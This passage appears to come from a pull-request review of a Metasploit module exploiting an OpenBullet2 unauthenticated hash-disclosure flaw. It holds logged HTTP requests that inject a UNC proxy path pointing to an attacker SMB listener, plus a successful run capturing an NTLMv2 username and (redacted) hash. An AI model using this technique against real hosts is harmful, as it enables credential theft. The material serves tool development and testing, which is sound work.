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OCMaD7xbY/RoHALtCs2/b3sW03TwD/M3Cltf3VBjD7SXq9rUWOgIFt4OK6rcl7wOUOMPikS4bkSH5aQqEAvJ/RN+WA0C3Qt+bOrXWO0wcgQ7NavgEODoGxImWve7y7t3Nu//a05vcDNwtyj+uFM8gAABB7aVRYdFhNTDpjb20uYWRvYmUueG1wAAAAAAA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/Pgo8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJYTVAgQ29yZSA0LjQuMC1FeGl2MiI+CiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPgogIDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiCiAgICB4bWxuczppcHRjRXh0PSJodHRwOi8vaXB0Yy5vcmcvc3RkL0lwdGM0eG1wRXh0LzIwMDgtMDItMjkvIgogICAgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iCiAgICB4bWxuczpzdEV2dD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL3NUeXBlL1Jlc291cmNlRXZlbnQjIgogICAgeG1sbnM6cGx1cz0iaHR0cDovL25zLnVzZXBsdXMub3JnL2xkZi94bXAvMS4wLyIKICAgIHhtbG5zOkdJTVA9Imh0dHA6Ly93d3cuZ2ltcC5vcmcveG1wLyIKICAgIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIKICAgIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIgogICAgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIgogICB4bXBNTTpEb2N1bWVudElEPSJnaW1wOmRvY2lkOmdpbXA6NWExZDRjYjQtNTkwNi00ZmUxLTgxNzItMDljNzRmMGNhYWIwIgogICB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjIzOTMxZTYxLTliYTEtNDk3ZC1iZjUwLTliZDE5M2Y1M2NmYyIKICAgeG1wTU06T3JpZ2luYWxEb2N1bWVudElEPSJ4bXAuZGlkOjg0YjlkMGRkLTk1NzgtNGVhNi04OGI3LTNiY2NmNjNlY2U5YyIKICAgR0lNUDpBUEk9IjIuMCIKICAgR0lNUDpQbGF0Zm9ybT0iV2luZG93cyIKICAgR0lNUDpUaW1lU3RhbXA9IjE2MDkzNzY4MDc2MTAxMzEiCiAgIEdJTVA6VmVyc2lvbj0iMi4xMC4yMiIKICAgZGM6Rm9ybWF0PSJpbWFnZS9wbmciCiAgIHRpZmY6T3JpZW50YXRpb249IjEiCiAgIHhtcDpDcmVhdG9yVG9vbD0iR0lNUCAyLjEwIj4KICAgPGlwdGNFeHQ6TG9jYXRpb25DcmVhdGVkPgogICAgPHJkZjpCYWcvPgogICA8L2lwdGNFeHQ6TG9jYXRpb25DcmVhdGVkPgogICA8aXB0Y0V4dDpMb2NhdGlvblNob3duPgogICAgPHJkZjpCYWcvPgogICA8L2lwdGNFeHQ6TG9jYXRpb25TaG93bj4KICAgPGlwdGNFeHQ6QXJ0d29ya09yT2JqZWN0PgogICAgPHJkZjpCYWcvPgogICA8L2lwdGNFeHQ6QXJ0d29ya09yT2JqZWN0PgogICA8aXB0Y0V4dDpSZWdpc3RyeUlkPgogICAgPHJkZjpCYWcvPgogICA8L2lwdGNFeHQ6UmVnaXN0cnlJZD4KICAgPHhtcE1NOkhpc3Rvcnk+CiAgICA8cmRmOlNlcT4KICAgICA8cmRmOmxpCiAgICAgIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiCiAgICAgIHN0RXZ0OmNoYW5nZWQ9Ii8iCiAgICAgIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NDQwYjk4YmYtNzMxZC00MmZmLTk4ZTctNTNmNWRlODkyNzM0IgogICAgICBzdEV2dDpzb2Z0d2FyZUFnZW50PSJHaW1wIDIuMTAgKFdpbmRvd3MpIgogICAgICBzdEV2dDp3aGVuPSIyMDIwLTEyLTMxVDAyOjA2OjAzIi8+CiAgICAgPHJkZjpsaQogICAgICBzdEV2dDphY3Rpb249InNhdmVkIgogICAgICBzdEV2dDpjaGFuZ2VkPSIvIgogICAgICBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmFiNDA0MGZmLTgyZTQtNDU0NC05MTRmLWQxYjYzMTgxNjlhYSIKICAgICAgc3RFdnQ6c29mdHdhcmVBZ2VudD0iR2ltcCAyLjEwIChXaW5kb3dzKSIKICAgICAgc3RFdnQ6d2hlbj0iMjAyMC0xMi0zMVQwMjowNjo0NyIvPgogICAgPC9yZGY6U2VxPgogICA8L3htcE1NOkhpc3Rvcnk+CiAgIDxwbHVzOkltYWdlU3VwcGxpZXI+CiAgICA8cmRmOlNlcS8+CiAgIDwvcGx1czpJbWFnZVN1cHBsaWVyPgogICA8cGx1czpJbWFnZUNyZWF0b3I+CiAgICA8cmRmOlNlcS8+CiAgIDwvcGx1czpJbWFnZUNyZWF0b3I+CiAgIDxwbHVzOkNvcHlyaWdodE93bmVyPgogICAgPHJkZjpTZXEvPgogICA8L3BsdXM6Q29weXJpZ2h0T3duZXI+CiAgIDxwbHVzOkxpY2Vuc29yPgogICAgPHJkZjpTZXEvPgogICA8L3BsdXM6TGljZW5zb3I+CiAgPC9yZGY6RGVzY3JpcHRpb24+CiA8L3JkZjpSREY+CjwveDp4bXBtZXRhPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgCjw/eHBhY2tldCBlbmQ9InciPz5xCS3qAAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH5AwfAQYvcMKpFAAAC+RJREFUeNrtnXmQVcUVxn8zjOCKkQQVxLXQgBAxLkGNLIkaK0bjgh+iGETRQDS4myLGiiYuQSsmalTUUksLIqFOJoiQGI0oamWMBjRqkFVR0bAILmwBhZn80T3hzWNm3r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","name":"New Config","author":"Anonymous","needsProxies":false},"dataPoolInfo":"Range from 1 with amount 1 and step 1 (padding False)","bots":1,"skip":0,"proxyMode":"on","proxySources":["\\\\172.16.199.1\\\\rem\\\\similique.txt (File)"],"hitOutputs":[],"dataStats":{"hits":0,"custom":0,"fails":0,"invalid":0,"retried":0,"banned":0,"errors":0,"toCheck":0,"total":1,"tested":0},"proxyStats":{"total":0,"alive":0,"bad":0,"banned":0},"cpm":0,"captchaCredit":0,"elapsed":"00:00:00","remaining":"-00:00:00.0010000","progress":0,"hits":[]}
[*] Server is running. Listening on 172.16.199.1:445
[*] The SMB service has been started.
[*] Listening for hashes on 172.16.199.1:445
####################
# Request:
####################
POST /api/v1/job/start HTTP/1.1
Host: 172.16.199.130:5000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
X-Api-Key:
Content-Type: application/json
Content-Length: 24

{"jobId":5,"wait":false}
[*] Received SMB connection from 172.16.199.130
####################
# Response:
####################
No response received
[-] Auxiliary aborted due to failure: unexpected-reply: 172.16.199.130:5000 Server did not respond with the expected HTTP 200
[*] Server stopped.
####################
# Request:
####################
DELETE /api/v1/config?id=37680221-0cad-4d91-850f-f2cd6f16d056 HTTP/1.1
Host: 172.16.199.130:5000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
X-Api-Key:
Content-Type: application/json
Content-Length: 0


####################
# Response:
####################
HTTP/1.1 200 OK
Content-Length: 0
Date: Mon, 27 Jul 2026 21:36:05 GMT
Server: Kestrel
api-supported-versions: 1.0


####################
# Request:
####################
POST /api/v1/job/abort HTTP/1.1
Host: 172.16.199.130:5000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
X-Api-Key:
Content-Type: application/json
Content-Length: 24

{"jobId":5,"wait":false}
####################
# Response:
####################
HTTP/1.1 200 OK
Content-Length: 0
Date: Mon, 27 Jul 2026 21:36:05 GMT
Server: Kestrel
api-supported-versions: 1.0


####################
# Request:
####################
DELETE /api/v1/job?id=5 HTTP/1.1
Host: 172.16.199.130:5000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
X-Api-Key:
Content-Type: application/json
Content-Length: 0


####################
# Response:
####################
HTTP/1.1 200 OK
Content-Length: 0
Date: Mon, 27 Jul 2026 21:36:05 GMT
Server: Kestrel
api-supported-versions: 1.0


####################
# Request:
####################
DELETE /api/v1/config?id=37680221-0cad-4d91-850f-f2cd6f16d056 HTTP/1.1
Host: 172.16.199.130:5000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
X-Api-Key:
Content-Type: application/json
Content-Length: 0


####################
# Response:
####################
HTTP/1.1 400 Bad Request
Content-Type: application/json
Date: Mon, 27 Jul 2026 21:36:05 GMT
Server: Kestrel
Transfer-Encoding: chunked
api-supported-versions: 1.0

{"errorCode":"CONFIG_NOT_FOUND","message":"The requested entry with id 37680221-0cad-4d91-850f-f2cd6f16d056 was not found in the collection ConfigService","details":"at OpenBullet2.Web.Controllers.ConfigController.GetConfigFromService(String id)\r\n   at OpenBullet2.Web.Controllers.ConfigController.DeleteConfig(String id)\r\n   at lambda_method295(Closure, Object, Object[])\r\n   at Microsoft.AspNetCore.Mvc.Infrastructure.ActionMethodExecutor.SyncActionResultExecutor.Execute(ActionContext actionContext, IActionResultTypeMapper mapper, ObjectMethodExecutor executor, Object controller, Object[] arguments)\r\n   at Microsoft.AspNetCore.Mvc.Infrastructure.ControllerActionInvoker.InvokeActionMethodAsync()\r\n   at Microsoft.AspNetCore.Mvc.Infrastructure.ControllerActionInvoker.Next(State\u0026 next, Scope\u0026 scope, Object\u0026 state, Boolean\u0026 isCompleted)\r\n   at Microsoft.AspNetCore.Mvc.Infrastructure.ControllerActionInvoker.InvokeNextActionFilterAsync()\r\n--- End of stack trace from previous location ---\r\n   at Microsoft.AspNetCore.Mvc.Infrastructure.ControllerActionInvoker.Rethrow(ActionExecutedContextSealed context)\r\n   at Microsoft.AspNetCore.Mvc.Infrastructure.ControllerActionInvoker.Next(State\u0026 next, Scope\u0026 scope, Object\u0026 state, Boolean\u0026 isCompleted)\r\n   at Microsoft.AspNetCore.Mvc.Infrastructure.ControllerActionInvoker.InvokeInnerFilterAsync()\r\n--- End of stack trace from previous location ---\r\n   at Microsoft.AspNetCore.Mvc.Infrastructure.ResourceInvoker.\u003CInvokeFilterPipelineAsync\u003Eg__Awaited|20_0(ResourceInvoker invoker, Task lastTask, State next, Scope scope, Object state, Boolean isCompleted)\r\n   at Microsoft.AspNetCore.Mvc.Infrastructure.ResourceInvoker.\u003CInvokeAsync\u003Eg__Awaited|17_0(ResourceInvoker invoker, Task task, IDisposable scope)\r\n   at Microsoft.AspNetCore.Mvc.Infrastructure.ResourceInvoker.\u003CInvokeAsync\u003Eg__Awaited|17_0(ResourceInvoker invoker, Task task, IDisposable scope)\r\n   at Microsoft.AspNetCore.Authorization.AuthorizationMiddleware.Invoke(HttpContext context)\r\n   at OpenBullet2.Web.Exceptions.AuthTokenVerificationMiddleware.InvokeAsync(HttpContext context)\r\n   at OpenBullet2.Web.Middleware.ExceptionMiddleware.InvokeAsync(HttpContext context)"}
[*] Auxiliary module execution completed

@vognik vognik Aug 30, 2026

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It works for me. Can't reproduce, needs to research

0.3.3.3092

msf auxiliary(scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908) > set RHOSTS 192.168.19.159
RHOSTS => 192.168.19.159
msf auxiliary(scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908) > set SRVHOST eth0
SRVHOST => 192.168.19.153
msf auxiliary(scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908) > set RPORT 5000
RPORT => 5000
msf auxiliary(scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908) > run
[*] Running module against 192.168.19.159
[*] Running automatic check ("set AutoCheck false" to disable)
[*] OpenBullet2 Instance OS: Microsoft Windows NT 10.0.19044.0
[+] The target appears to be vulnerable. Detected vulnerable version 0.3.3.3092 (Microsoft Windows NT 10.0.19044.0)
[*] Server is running. Listening on 192.168.19.153:445
[*] The SMB service has been started.
[*] Listening for hashes on 192.168.19.153:445
[SMB] NTLMv2-SSP Client     : 192.168.19.159
[SMB] NTLMv2-SSP Username   : DESKTOP-GLLA9J3\vognik
[SMB] NTLMv2-SSP Hash       : vognik::DESKTOP-GLLA9J3:[hash]

[*] Server stopped.

0.3.0 https://github.com/openbullet/OpenBullet2/releases/download/0.3.0/OpenBullet2.Web.zip

msf auxiliary(scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908) > set RHOSTS 192.168.19.159
RHOSTS => 192.168.19.159
msf auxiliary(scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908) > set SRVHOST eth0
SRVHOST => 192.168.19.153
msf auxiliary(scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908) > set RPORT 5000
RPORT => 5000
msf auxiliary(scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908) > run
[*] Running module against 192.168.19.159
